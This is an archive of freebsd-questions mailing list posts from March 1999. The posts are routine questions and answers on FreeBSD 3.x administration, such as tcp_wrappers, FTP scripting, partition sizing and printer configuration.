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Is there a FreeBSD equivalent of the BSD/OS /etc/hosts.deny? I've run out
of things to look up in the manpages....if there's something, it's
probably painfully obvious.

I know I can use /etc/login.access to restrict LOGINS from particular
addresses, but I'd like to restrict connections on various ports (or on
all ports, if that's easier) from particular domains/addresses.

I'm running 3.1-RELEASE. Any information appreciated. Thanks.


        [[  M  i  c  h  a  e  l     L  i  e  b  e  r  m  a  n  ]]
        [[  d i s o w n e d @ l i n d a . p o m o n a . e d u  ]]



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From owner-freebsd-questions  Sat Mar 27 11:45:54 1999
Delivered-To: freebsd-questions@freebsd.org
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From: "Neil Oosten" <neiloosten@hotmail.com>
To: gjb@comkey.com.au
Cc: FreeBSD-questions@FreeBSD.ORG
Subject: Re: Changing groups
Date: Sat, 27 Mar 1999 14:45:17 EST
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Just an update: Dan and Greg and some others all had it right. I must 
have been reading a Sys V page or something.

I checked it out and the set up as it is works just fine. I must have 
been confused.

Thanks to those of you who pointed me in the right direction.
-- Neil
>> Here's my situation: I want have a user who is a member of three 
>> groups--say they are radio, tv, and newspaper. When the user logs in 
the 
>> group is set to radio, but then he has to go edit something for 
radio. 
>> How do I change the user's group from newspaper to radio.
>
>The concept of a user's default belongs more to SysV than BSD.
>
>Under BSD, the group of a newly-created file is determined by
>the group of the directory it is created in.  To change the
&gt;group of newly created files in a directory, use chgrp on the
&gt;directory; to change the group of files already created in a
&gt;directory, use chgrp on the files (or chgrp -R on the directory
&gt;if all the descendants of that directory are intended to be
&gt;affected by the command).
&gt;
&gt;-- 
&gt;Greg Black &lt;gjb@acm.org&gt;
&gt;
&gt;
Get Your Private, Free Email at http://www.hotmail.com


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From owner-freebsd-questions  Sat Mar 27 11:50:50 1999
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Subject: Defragmenting
Date: Sat, 27 Mar 1999 13:51:14 -0600
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How do you defragment your hard drive with FreeBSD 2.2.8 Release.

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From owner-freebsd-questions  Sat Mar 27 11:54:14 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Sat, 27 Mar 1999 14:53:39 -0500 (EST)
From: Lanny Baron <g7@heretic.cybertouch.org>
To: questions@freebsd.org
Cc: Greg Lehey <grog@lemis.com>, Richard Sharpe <rsharpe@ns.aus.com>
Subject: unable to download with netscape or lynx...
Message-ID: <Pine.BSF.4.05.9903271443120.19264-100000@heretic.cybertouch.org>
City: Thorhill Country:Canada Tel: 905-763-1900 Fax: 905-763-0241
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Hello, I have 3.1 installed and when i go to
http://ca.samba.org/samba/samba.html and click on download link, and try
to get the file, i get the following:

Forbidden

You don't have permission to access /samba/ftp/samba-latest.tar.gz on this
server.

but from my sons win98 box i have no problem to get it. Is there something
with 3.1 that will not allow it? I made sure that I was using both lynx
and netscape as a non root user.

Thanks for your help

Lanny Baron



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From owner-freebsd-questions  Sat Mar 27 12: 0:56 1999
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Subject: DOS
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Are there any Dos emulators that support cd-roms and run well on FreeBSD =
2.2.8

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From owner-freebsd-questions  Sat Mar 27 12:13:17 1999
Delivered-To: freebsd-questions@freebsd.org
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From: "Chris Silva" <ras@interaccess.com>
To: "Freebsd-Questions" <freebsd-questions@FreeBSD.ORG>
Subject: RE: FTP scripting
Date: Sat, 27 Mar 1999 14:13:17 -0600
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Thanks you to W Gerald Hicks and E Kovarski for the idea of using 
either Expect or Python - I chose Expect (ftp-rfc).

Again - thanks guys!
_____________________________________________________________________

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From owner-freebsd-questions  Sat Mar 27 12:24: 1 1999
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Date: Sat, 27 Mar 1999 22:23:47 +0300
From: Fadi Sodah <sodah@qatar.net.qa>
X-Mailer: Mozilla 4.07 [en] (X11; I; FreeBSD 3.0-RELEASE i386)
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hi BSD-world,

i keep getting the error msg:
bash-2.02$ xdu
/usr/libexec/ld-elf.so.1: Shared object "libkrb.so.3" not found

where can i get it? i am using FreeBSD v 3.0

Thanks in advance.

-Pons


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From owner-freebsd-questions  Sat Mar 27 12:25:24 1999
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Subject: How to config SiS6326 chips under X-windows?
Date: Sat, 27 Mar 1999 14:27:12 +0900
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Hi
 
    Please give me the directions about how to config 
    SiS6326 video cards under X-windows?
    My version is FreeBSD 3.1 release!!


        chris

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From owner-freebsd-questions  Sat Mar 27 12:27:37 1999
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Date: Sat, 27 Mar 1999 15:26:58 -0500 (EST)
From: Matt of the Long Red Hair <mattp@conundrum.com>
To: dissonant <disowned@linda.pomona.edu>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: equivalent of BSD/OS /etc/hosts.deny?
In-Reply-To: <Pine.BSF.4.05.9903271141550.86541-100000@linda.pomona.edu>
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On Sat, 27 Mar 1999, dissonant wrote:

> Is there a FreeBSD equivalent of the BSD/OS /etc/hosts.deny? I've run out
> of things to look up in the manpages....if there's something, it's
> probably painfully obvious.

You need to be looking at tcp wrappers.  Perhaps it's standard on BSD/OS
these days?  Anyway, it's not part of the default distribution of FreeBSD.
Look in /usr/ports/security/tcp_wrappers.  You'll have to modify
/etc/inetd.conf on your own, and set up the hosts.deny and hosts.allow files
in /usr/local/etc

HTH.

-----------------------------------------------------------------------------
Matthew Pounsett (MP1229)                                 mattp@conundrum.com
PGP Fingerprint =  40 E8 24 BC C1 98 00 F2  56 2F F6 7B 36 34 58 01 
                          http://www.conundrum.com/~mattp
``Chaos often breeds life, when order breeds habit.'' -- Henry Brooks Adams



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From owner-freebsd-questions  Sat Mar 27 12:32:42 1999
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Date: Sat, 27 Mar 1999 20:32:07 +0000
From: Karl Pielorz <kpielorz@tdx.co.uk>
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To: rlh217 <rlh217@gte.net>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Defragmenting
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> rlh217 wrote:
> 
> How do you defragment your hard drive with FreeBSD 2.2.8 Release.

There should be no need to... The filesystem used by FreeBSD provides
excellent space allocation (providing you keep ~10% of the filesystem free)...
If you _really_ wanted to defrag it, you'd have to backup all the data from
the filesystem, newfs it - then copy all the data back...

-Kp


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From owner-freebsd-questions  Sat Mar 27 13: 0:29 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Sat, 27 Mar 1999 20:00:29 +0000 (GMT)
From: Cillian Sharkey <cillian@mailhub.psn.ie>
To: dissonant <disowned@linda.pomona.edu>
Cc: freebsd-questions@freebsd.org
Subject: Re: equivalent of BSD/OS /etc/hosts.deny?
In-Reply-To: <Pine.BSF.4.05.9903271141550.86541-100000@linda.pomona.edu>
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> Is there a FreeBSD equivalent of the BSD/OS /etc/hosts.deny? I've run out
> of things to look up in the manpages....if there's something, it's
> probably painfully obvious.
> 
> I know I can use /etc/login.access to restrict LOGINS from particular
> addresses, but I'd like to restrict connections on various ports (or on
> all ports, if that's easier) from particular domains/addresses.
> 
> I'm running 3.1-RELEASE. Any information appreciated. Thanks.

Yes, you can use the tcp_wrappers package which you can get from the
FreeBSD CD's or the ports collection.

Once it's installed, the hosts.allow and hosts.deny should be in
/usr/local/etc

You'll also have to change your /etc/inetd.conf file, an example is given
in /usr/local/etc/inetd.conf.wrapped.sample showing how to set it up.

Cillian




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From owner-freebsd-questions  Sat Mar 27 13:16:30 1999
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Date: Sat, 27 Mar 1999 13:14:15 -0800 ()
From: Rick Hamell <hamellr@dsinw.com>
To: Ben Manes <anarchy@crl.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: unhappy installation
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> So, two questions. What do you mean by 'clean,' and if I copy the cd to 
> the root of one of my fat16 partitions, booting off the cd, will it 
> install that way? I tried before, but said it didn't see the data on any 
> of the partitions...

	Well since it's autoterminating it won't work. But in damp/dusty
environments (which I seem to end up working in...) you frequently need to
give the connectors of cards (and in the this case the terminators,) a
good cleaning. A pencil eraser then a clean cotton cloth works fine. You
can usually see the differance pretty easily. :) 
	Now that I think about it, you can choose to change the
termination on card can't you? I had roughly the same problem with a
Seagate drive that wouldn't autoterminate itself. 
	Also, you'll want to put the files in c:\bin or c:\freebsd to load
from DOS.


						Rick
	



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From owner-freebsd-questions  Sat Mar 27 13:27:59 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from scientia.demon.co.uk (scientia.demon.co.uk [212.228.14.13])
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Date: Sat, 27 Mar 1999 20:10:34 +0000
From: Ben Smithurst <ben@scientia.demon.co.uk>
To: Chris Silva <ras@interaccess.com>
Cc: Freebsd-Questions <freebsd-questions@FreeBSD.ORG>
Subject: Re: ftp scripting
Message-ID: <19990327201034.A12663@scientia.demon.co.uk>
References: <001001be787e$6c567390$0a00000a@wildrock>
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Chris Silva wrote:

> This may or may not be the place but, I want to device a script
> that will do an FTP, login, enter password, bin, put, then logout.

Simply feed commands to ftp on stdin.

ftp -in <<END
open some.host.com
user username password
cd /some/where
bin
put some.file
bye
END

-- 
Ben Smithurst
ben@scientia.demon.co.uk

send a blank message to ben+pgp@scientia.demon.co.uk for PGP key


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From owner-freebsd-questions  Sat Mar 27 13:54:55 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Sat, 27 Mar 1999 13:54:12 -0800
To: Fadi Sodah <sodah@qatar.net.qa>, questions@FreeBSD.ORG
From: charon@freethought.org
Subject: Re: lib not found!
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At 10:23 PM 3/27/99 +0300, Fadi Sodah wrote:
>i keep getting the error msg:
>bash-2.02$ xdu
>/usr/libexec/ld-elf.so.1: Shared object "libkrb.so.3" not found
>
>where can i get it? i am using FreeBSD v 3.0

Install Kerberos.



-charon


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From owner-freebsd-questions  Sat Mar 27 14:14:46 1999
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From: "Paul" <paul@rad.co.za>
To: <freebsd-questions@FreeBSD.ORG>
Subject: pppd using system passwords & pap-secrets
Date: Sun, 28 Mar 1999 00:16:40 +0200
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Hello

I'm having a problem getting my pppd, running as a dial-up server, to use
the system database for password verification instead of the pap-secrets
file.

The format of my pap-secrets file is;

Username	foo.com		""	*

I have the "login" & "require-pap" option in my options file but it wont
authenticate using the system password file.

I get the following in my logs;

sent [PAP AuthNak id=0x1 "Login incorrect"]
sent [LCP TermReq id=0x2 "Authentication failed"]

BUT if I put the users password in the pap-secrets file it works just fine.

I have seen a few previous posts regarding this problem with much earlier
versions of FreeBSD,but no solutions, I'm using FreeBSD 3.1 Release.






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From owner-freebsd-questions  Sat Mar 27 14:21:52 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Sat, 27 Mar 1999 16:19:41 -0600
To: freebsd-questions@freebsd.org
From: Kevin Weiss <kevin.weiss@mail.utexas.edu>
Subject: re: a full /var system...thank you all
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Just wanted to thank those who helped me with my full /var error.

If anyone gets this error, try this...I hope it helps. This
fixed MORE THAN ONE problem.

1) type "ps -ax" and prompt
2) kill any process that is still acting up (in my case, I had
	to "kill 146"...sendmail
3) type "df -k /var" and look at percentage of use (mine was 109%!!!)
4) find the file that is giving you problems (mine was mgetty.cuaa1,
	I can't remember exactly where it was in the /var directory
	at the moment)
5) make sure it is safe to delete the file (I did "vi mgetty.cuaa1",
	and noticed it was a bunch of calls to my serial port from
	modem, and vice versa)
6) delete the file (the file in my case was 28MB!!!)

MENTAL NOTE: FreeBSD took next to NO TIME deleting this file...I'm
impressed :-)

7) type "df -k /var" again, and notice the change (mine went down to 24%)
8) optional...reboot and see what else might be fixed

In my case:
	-sendmail no longer gave me errors
	-no more "/var system full" errors
	-with netscape, I was previously getting an error "failed to load
libX.so.6.o",
		or something to that effect, but I could FINALLY run "netscape &" again!
	-no more errors in VI when I did a :wq! (couldn't write to /var)

Again, I hope this helps someone...anyone..out :-)


Kevin Weiss
kevin.weiss@mail.utexas.edu

I use the FreeBSD OS...because reboots are for hardware upgrades :-)
http://www.freebsd.org





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From owner-freebsd-questions  Sat Mar 27 14:32:50 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Sat, 27 Mar 1999 17:41:13 -0500 (EST)
From: Matt Loschert <loschert@servint.com>
To: freebsd-questions@freebsd.org
Subject: lpt0 configuration problems
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I am currently attempting to connect an HP DeskJet 500 to my machine's
parallel port.  I have read through the instructions in the handbook and
am encountering problems at the point where I attempt to configure the
device - /dev/lpt0. I have tried each of the following lines in my kernel
config file.  Each time I changed the kernel config, I did the whole,
config, make depend, make, make install, reboot process.

device          lpt0    at isa? port? tty irq? vector lptintr
device          lpt0    at isa? port? tty irq 7 vector lptintr
device          lpt0    at isa? port "IO_LPT1" tty irq 7 vector lptintr

dmesg showed the following on each boot-up (the address was different for
each of the different kernel config attempts, but the message was
otherwise the same).

lpt0 not found at 0xffffffff

I attempted using lptcontrol, just to see if it would give me any useful
debugging info.  Here are the results:

% lptcontrol -i -u 0
lptcontrol: open: Device not configured

If anyone has any ideas, I would welcome some advice.


Matt

-------------------------------------------------------------------
Matt Loschert                                   (703)847-1381 Voice
Software Engineer                               (703)847-1383   Fax
ServInt Internet Services                      loschert@servint.com



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From owner-freebsd-questions  Sat Mar 27 14:33:58 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Sat, 27 Mar 1999 16:31:49 -0600
To: freebsd-questions@freebsd.org
From: Kevin Weiss <kevin.weiss@mail.utexas.edu>
Subject: kernel compiling/CYA question
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I am still having problems with FreeBSD recognizing my AWE64
sound card, but anyway, to the issue:

I have two kernels in /usr/src/sys/i386/conf...GENERIC and ENIGMA

where ENIGMA is my customized kernel. B/C of the soundcard issue,
I am still recompiling my kernel, rebooting my machine, and 
seeing if it's recognized.

When I am compiling ENIGMA (make depend, make, make install), 
and have problems, I immediately do a make depend, make, make 
install of the GENERIC kernel, fix the ENIGMA kernel as needed, 
and then recompile ENIGMA. Then I reboot.

Basically, I want to be able to still refer to my GENERIC kernel
upon bootup in case ENIGMA doesn't boot. 

Is there a more efficient way of doing this?

Kevin Weiss
kevin.weiss@mail.utexas.edu





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From owner-freebsd-questions  Sat Mar 27 15:39: 0 1999
Delivered-To: freebsd-questions@freebsd.org
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	(envelope-from mikegoe@ibm.net)
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Message-Id: <199903272338.XAA69446@out4.ibm.net>
From: "Michael G." <mikegoe@ibm.net>
To: "freebsd-questions@FreeBSD.ORG" <freebsd-questions@FreeBSD.ORG>
Date: Sat, 27 Mar 1999 18:43:11 -0500
Reply-To: "Michael G." <mikegoe@ibm.net>
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Subject: Re: How to config SiS6326 chips under X-windows?
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When it comes to the cards X supports you need to take a look at
www.xfree86.org.  X is not a part of FreeBSD...it simply runs on it
as well as Linux and others.

Michael G.


--Original Message Text---
From: Chris
Date: Sat, 27 Mar 1999 14:27:12 +0900

Hi
 
    Please give me the directions about how to config 
    SiS6326 video cards under X-windows?
    My version is FreeBSD 3.1 release!!
 
 
        chris


-------------------------------------------------------------------
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 PIC          X  10    VALUE "YES! COBOL"
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From owner-freebsd-questions  Sat Mar 27 16:10: 3 1999
Delivered-To: freebsd-questions@freebsd.org
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	by hub.freebsd.org (Postfix) with ESMTP id CC96414BE5
	for <freebsd-questions@FreeBSD.ORG>; Sat, 27 Mar 1999 16:10:00 -0800 (PST)
	(envelope-from wood@freeq.com)
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	Sat, 27 Mar 1999 18:12:03 -0600 (CST)
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Date: Sat, 27 Mar 1999 18:09:27 -0600
From: Brian Woodruff <wood@freeq.com>
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To: freebsd-questions@FreeBSD.ORG, wood@freeq.com
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My business partner just spent three hours trying to install 3.1 STABLE
onto a new system, and always got "bad format" errors (or something
similar) when we tried to load the kernel upon boot.

When we switched to the 3.0 CD-ROM, the system loaded and booted fine.
In every case, we used the "minimum" configuration. My partner and I
have both performed dozens of successful installations in the past, both
via net and CD. I can only assume that 3.1 STABLE is not suitable for
release.

BTW, I cam currently not on this mailing list, so please reply
privately, or tell me where I can find a web archive. Thank you.

Brian D. Woodruff



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From owner-freebsd-questions  Sat Mar 27 16:12:44 1999
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Date: Sun, 28 Mar 1999 09:42:14 +0930
From: Greg Lehey <grog@lemis.com>
To: Lanny Baron <g7@heretic.cybertouch.org>, questions@freebsd.org
Cc: Richard Sharpe <rsharpe@ns.aus.com>
Subject: Re: unable to download with netscape or lynx...
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In-Reply-To: <Pine.BSF.4.05.9903271443120.19264-100000@heretic.cybertouch.org>; from Lanny Baron on Sat, Mar 27, 1999 at 02:53:39PM -0500
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On Saturday, 27 March 1999 at 14:53:39 -0500, Lanny Baron wrote:
> Hello, I have 3.1 installed and when i go to
> http://ca.samba.org/samba/samba.html and click on download link, and try
> to get the file, i get the following:
>
> Forbidden
>
> You don't have permission to access /samba/ftp/samba-latest.tar.gz on this
> server.
>
> but from my sons win98 box i have no problem to get it. Is there something
> with 3.1 that will not allow it? I made sure that I was using both lynx
> and netscape as a non root user.

I don't know.  It works fine from here.  Why don't you try one of
these:
  
  fetch http://ca.samba.org/samba/ftp/samba-2.0.3.tar.gz
  fetch http://ca.samba.org/samba/ftp/samba-latest.tar.gz

Greg
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From owner-freebsd-questions  Sat Mar 27 16:18:30 1999
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Date: Sun, 28 Mar 1999 09:48:00 +0930
From: Greg Lehey <grog@lemis.com>
To: Brian Woodruff <wood@freeq.com>, freebsd-questions@FreeBSD.ORG
Subject: Re: 3.1 UNstable
References: <36FD7335.96FB761D@freeq.com>
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On Saturday, 27 March 1999 at 18:09:27 -0600, Brian Woodruff wrote:
> My business partner just spent three hours trying to install 3.1 STABLE
> onto a new system, and always got "bad format" errors (or something
> similar) when we tried to load the kernel upon boot.

"something similar" isn't similar enough.  We need the exact message,
along with a lot of other information:

- What kind of system is it?
- How did you install the software?  
- Was it an upgrade or a new installation?  
- If it was an upgrade, what were you upgrading from?
- Did you install new boot blocks?
- Did you build your own kernel?
- What was the exact message you got (yes, this is a repeat)
- When did you get it?

> When we switched to the 3.0 CD-ROM, the system loaded and booted
> fine.  In every case, we used the "minimum" configuration. My
> partner and I have both performed dozens of successful installations
> in the past, both via net and CD. I can only assume that 3.1 STABLE
> is not suitable for release.

Based on the information, I can only assume that your installation was
not suitable for use.

> BTW, I cam currently not on this mailing list, so please reply
> privately, or tell me where I can find a web archive. Thank you.

By convention we reply both to the list and to the submitter (see the
.sig below).  Please contact me if you don't get this message.

Greg
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From owner-freebsd-questions  Sat Mar 27 16:19:18 1999
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From: Thomas David Rivers <rivers@dignus.com>
Message-Id: <199903280018.TAA49212@lakes.dignus.com>
To: freebsd-questions@FreeBSD.ORG, wood@freeq.com
Subject: Re: 3.1 UNstable
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> 
> My business partner just spent three hours trying to install 3.1 STABLE
> onto a new system, and always got "bad format" errors (or something
> similar) when we tried to load the kernel upon boot.
> 
> When we switched to the 3.0 CD-ROM, the system loaded and booted fine.
> In every case, we used the "minimum" configuration. My partner and I
> have both performed dozens of successful installations in the past, both
> via net and CD. I can only assume that 3.1 STABLE is not suitable for
> release.
> 
> BTW, I cam currently not on this mailing list, so please reply
> privately, or tell me where I can find a web archive. Thank you.
> 
> Brian D. Woodruff
> 

 Brian -

   It's not quite clear what you're looking for when you say
 "web archive" - but I think you might find what you're looking
 for at http://www.freebsd.org

   However, when you get "bad format" errors; can you be more
 specific... exactly when did this happen?  On booting the floppy,
 or after a succesful installation?  Can you describe the hardware?
 (You mention it is a new system....)

   Perhaps with some information in-hand, someone will recognize
 the problem, and you'll not have to spend too much more time on
 it...

	- Dave Rivers -


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From owner-freebsd-questions  Sat Mar 27 16:26:49 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Sun, 28 Mar 1999 02:28:14 +0200
From: Ruslan Shevchenko <Ruslan@Shevchenko.Kiev.UA>
Reply-To: rssh@grad.kiev.ua
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To: Chris Silva <ras@interaccess.com>
Cc: Freebsd-Questions <freebsd-questions@FreeBSD.ORG>
Subject: Re: ftp scripting
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Chris Silva wrote:
> 
> This may or may not be the place but, I want to device a script
> that will do an FTP, login, enter password, bin, put, then logout.
> 

/usr/ports/lang/expect

> All ideas would help.
> 
> _____________________________________________________________________
> 
> RSA Key Fingerprint = 6D0B 5536 7825 3D09 9093 384A 9694 FDB6
> RSA Key Fingerprint = 4390 44E5 E316 F2AA A11E 5755 F3F9 D69B
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> 
> PGP Mail encouraged / preferred - keys available on common keyservers
> _____________________________________________________________________
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
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From owner-freebsd-questions  Sat Mar 27 16:53: 8 1999
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> > BTW, I cam currently not on this mailing list, so please reply
> > privately, or tell me where I can find a web archive. Thank you.
> 
> By convention we reply both to the list and to the submitter (see the
> .sig below).  Please contact me if you don't get this message.
> 
> Greg

 Uhh...  exactly how is he going to contact if he doesn't get
 the message :-) :-)


	- Dave R. -


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From owner-freebsd-questions  Sat Mar 27 16:57:38 1999
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From: Greg Lehey <grog@lemis.com>
To: Dibyo Gahari <dibyo@bali.net>, freebsd-questions@FreeBSD.ORG
Subject: Re: how to change a partition size
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[Format recovered--see http://www.lemis.com/email/email-format.html]

On Saturday, 27 March 1999 at  1:24:50 +0800, Dibyo Gahari wrote:
>
> hi,
>
> i need some information on how to change/add a partition size.
>
> for example, the result of my free bsd is :
>
> Filesystem 	1K-blocks 	Used 		Avail 		Capacity 	Mounted on
> /dev/sd0a	31775		27828 		1405 		95% 		/
> /dev/sd0s2f 	2076240 	283497 		1626644 	15% 		/usr
> /dev/sd0s2e 	29727 		15311 		12038 		56% 		/var
> procfs 	4		4		0		100% 		/proc
>
> i need to add the size of /var

Why?

> my questins are:
> 1. without adding a hard drive, i will add /var size by downsizing /usr
> size. is it possible ? 

Yes.

> if yes, how to do it ?

1.  Make complete, separate backup of the entire file systems /var and
    /usr.

2.  Reinstall the system (yes, this is one of the cases) and select
    new sizes for /var and /usr.

3.  Read in the backups, being careful not to replace
    /usr/lib/libc.so.*.

> 2. by adding a new hard drive, how can i move /var to the new hard
     drive ?

Just create a file system on the drive and call it /var.

I always recommend against having a /var file system at all.  The
situation you find yourself in now is the main reason: it's a real
pain to have to resize file systems, and there's no good reason for a
/var file system on the same disk as /usr in the first place.  I'd
recommend:

1.  For now, put subdirectories of /var on /usr and use symlinks to
    point there.

2.  In future, don't use /var at all.  Make a directory /usr/var and
    create a symlink from /var to /usr/var.

Greg
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From owner-freebsd-questions  Sat Mar 27 17: 2:25 1999
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Subject: Win Modem
Date: Sat, 27 Mar 1999 20:07:35 -0500
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i have an EigerCom 56k WinModem the Question that i have is if there is =
any way to get it to work under FreeBSD?=20

All information is greatly appreciated

Thanx,

Robert S. Burgamy Jr.

po_boy@poseidon.net

Thanx again


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<DIV><FONT color=3D#000000 size=3D2>i have an EigerCom 56k WinModem the =
Question=20
that i have is if there is any way to get it to work under FreeBSD?=20
</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>All information is greatly=20
appreciated</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>Thanx,</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>Robert S. Burgamy Jr.</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2><A=20
href=3D"mailto:po_boy@poseidon.net">po_boy@poseidon.net</A></FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>Thanx again</FONT></DIV>
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From owner-freebsd-questions  Sat Mar 27 17: 4:22 1999
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From: Greg Lehey <grog@lemis.com>
To: Matt of the Long Red Hair <mattp@conundrum.com>,
	freebsd-questions@FreeBSD.ORG
Subject: Re: newfs of ccd0 crashes
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On Friday, 26 March 1999 at 13:58:27 -0500, Matt of the Long Red Hair wrote:
>
> I've trying to get ccd set up on my home box with a pair of large drives, but
> every time I try to newfs the ccd the machine crashes.  I've gone through my
> setup a number of times (I'm working from the instructions at
> http://www.freebsd.org/tutorials/diskformat/diskformat.html) but can't see
> what might be going wrong.  I'm including all the seemingly relevant info I
> can below.

Well, there's a lot more I'd like to see:

1.  Which version of FreeBSD are you running?
2.  What do you mean by "crash"?  Is it a panic, a spontaneous reboot
    or a hang?

>> From dmesg:
> wdc0 at 0x1f0-0x1f7 irq 14 on isa
> wdc0: unit 0 (wd0): <Maxtor 91728D8>
> wd0: 16479MB (33750864 sectors), 33483 cyls, 16 heads, 63 S/T, 512 B/S
> wdc1 at 0x170-0x177 irq 15 on isa
> wdc1: unit 0 (wd2): <Maxtor 91728D8>
> wd2: 16479MB (33750864 sectors), 33483 cyls, 16 heads, 63 S/T, 512 B/S

Just out of interest, where are your / and /usr file systems?

> The labels of the two drives after changing the drive type:

Look OK.

> I noticed that the drive geometry set by `disklabel -r -w wd0 auto` (and on
> wd2) is slightly different than that reported by the drivers at boot.  Is this
> a possible source of trouble?

No, only the low-level drivers look at that geometry.

Greg
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From owner-freebsd-questions  Sat Mar 27 17:22:20 1999
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On Friday, 26 March 1999 at 21:29:15 -0600, Etem Goksel wrote:
> I have installed FreeBSD 3.1 , on my NEC 333 Mhz, 64 Mb Ram computer
> using El Torrito fature.  But when I tried to install "install.bat"
> it did not work (computer was in MSDOS mode). However, the
> kern.flp/MFSroot.flp combination works.

Good.  That's the one to use.  INSTALL.BAT requires the cooperation of
Microsoft, and we can't guarantee it.

> Second question is whether BSD has a loader similar to Linux's
> Loadlin.  I need such a thing because if I boot from booteasy or
> LILO my sound card doesn't work. Therefore I use Loadlin for my
> linux system for audio.

I don't know Loadlin.  Can't it boot FreeBSD?  We have booteasy, which
should have been offered during the installation.

Greg
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From owner-freebsd-questions  Sat Mar 27 17:23:57 1999
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On Saturday, 27 March 1999 at 19:52:40 -0500, Thomas David Rivers wrote:
>>> BTW, I cam currently not on this mailing list, so please reply
>>> privately, or tell me where I can find a web archive. Thank you.
>>
>> By convention we reply both to the list and to the submitter (see the
>> .sig below).  Please contact me if you don't get this message.
>>
>> Greg
>
>  Uhh...  exactly how is he going to contact if he doesn't get
>  the message :-) :-)

I'm sure he'll find a way :-)

Greg
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From owner-freebsd-questions  Sat Mar 27 17:25:45 1999
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Date: Sat, 27 Mar 1999 19:25:21 -0600
From: Michael Maxwell <drwho@xnet.com>
To: freebsd-questions@FreeBSD.ORG
Subject: Re: ppbus printing problems
Message-ID: <19990327192521.B17445@drwho.xnet.com>
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On Sat, Mar 27, 1999 at 10:48:31AM -0800, Nick Sayer wrote:
> If I set up lpt0, printing is perfect. If I use the above ppbus
> configuration, I get garbage after anywhere from a few lines
> to a quarter page goes by.

This is apparently a serious problem, and people are **hopefully** 
looking into it (HINT HINT).  I had the same experience, and after
reporting it on the FreeBSD bug-reports section of their web site,
someone mailed me a tip that *helped* (but not *cured*) the problem.

In your kernel configuration:

# Parallel port
device          ppc0    at isa? port? tty irq 7
controller      ppbus0
device          nlpt0   at ppbus?

Note the "tty" on the first device line.  You probably have "net" there
right now, right?  Well, I honestly don't know what that means, but
changing it to "tty" has helped the printing problem.

I can print Postscript (using Ghostscript) without problems.  This is
OK for me since PS is about all I print anyhow (normally, I print
plain text with "a2ps" as filter).

But printing plain text by itself still has a few problems...  the 
error light comes on the printer, paper doesn't feed right, and
characters get dropped sometimes.

My printer, BTW, is an HP Deskjet 672c.

-- 
    Michael Maxwell <drwho @ xnet.com>  |  http://www.xnet.com/~drwho/
       "American Justice: oxymoron.  William J. Clinton: moron."
                                                    --M. Maxwell (1999)


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From owner-freebsd-questions  Sat Mar 27 17:38:51 1999
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Date: Sun, 28 Mar 1999 11:38:19 +1000
From: Jim Mock <jim@corp.au.triax.com>
To: p0_b0y <pO_bOy@poseidon.net>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Win Modem
Message-ID: <19990328113819.A18240@corp.au.triax.com>
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On Sat, 27 Mar 1999 at 20:07:35 -0500, p0_b0y wrote:
> i have an EigerCom 56k WinModem the Question that i have is if
> there is any way to get it to work under FreeBSD? 
>

No.  You need a "real" modem.  WinModems only work under Windows
systems.

-- 
Jim Mock  System Administrator  jim@corp.au.triax.com  ,-._|\  FreeBSD
work:  Triax Internet Services  http://www.triax.com/ /      \ The
personal:  http://www.triax.com/~jim/                 \_,--._/ Power To
The FreeBSD 'zine  http://www.freebsdzine.org/              v  Serve!


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From owner-freebsd-questions  Sat Mar 27 17:39:54 1999
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Hi,
Is there any way to mount a zip drive that has a linux file system on it in freebsd???

Thanks
Rick 
-- 
Rick Knebel
rknebel@uplink.net
http://woodstock.csrlink.net/~bknebel


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From owner-freebsd-questions  Sat Mar 27 17:43:23 1999
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Date: Sat, 27 Mar 1999 20:42:44 -0500 (EST)
From: Matt of the Long Red Hair <mattp@conundrum.com>
To: Greg Lehey <grog@lemis.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: newfs of ccd0 crashes
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On Sun, 28 Mar 1999, Greg Lehey wrote:

> On Friday, 26 March 1999 at 13:58:27 -0500, Matt of the Long Red Hair wrote:
> >
> > I've trying to get ccd set up on my home box with a pair of large drives, but
> > every time I try to newfs the ccd the machine crashes.  I've gone through my
> 
> Well, there's a lot more I'd like to see:
> 
> 1.  Which version of FreeBSD are you running?

3.1-stable (February 28th).  Can't believe I forgot to include this in the
first place... :) 

> 2.  What do you mean by "crash"?  Is it a panic, a spontaneous reboot
>     or a hang?

It's a hang.  The machine locks up so that I have to hard-reset it.

> Just out of interest, where are your / and /usr file systems?

My main filesystems are all on my SCSI chain.  / and /usr are da0s1a and
da0s1e respectively.

Thanks!

-----------------------------------------------------------------------------
Matthew Pounsett (MP1229)                                 mattp@conundrum.com
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From owner-freebsd-questions  Sat Mar 27 17:46:40 1999
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Date: Sun, 28 Mar 1999 02:45:59 +0100 (BST)
From: Michael Searle <searle@longacre.demon.co.uk>
Subject: modem support
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What modems are known to work well in FreeBSD? I guess anything that isn't a
losemodem would work more or less,  but even this isn't always easy to tell.
Also, I would prefer an internal (PCI if possible) and these are more likely
to be losemodems - or just cack.  (Are there even any good internal modems?)

Mike.

-- 
csubl@csv.warwick.ac.uk



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From owner-freebsd-questions  Sat Mar 27 17:58:56 1999
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Date: Sat, 27 Mar 1999 19:58:30 -0600
From: Michael Maxwell <drwho@xnet.com>
To: freebsd-questions@FreeBSD.ORG
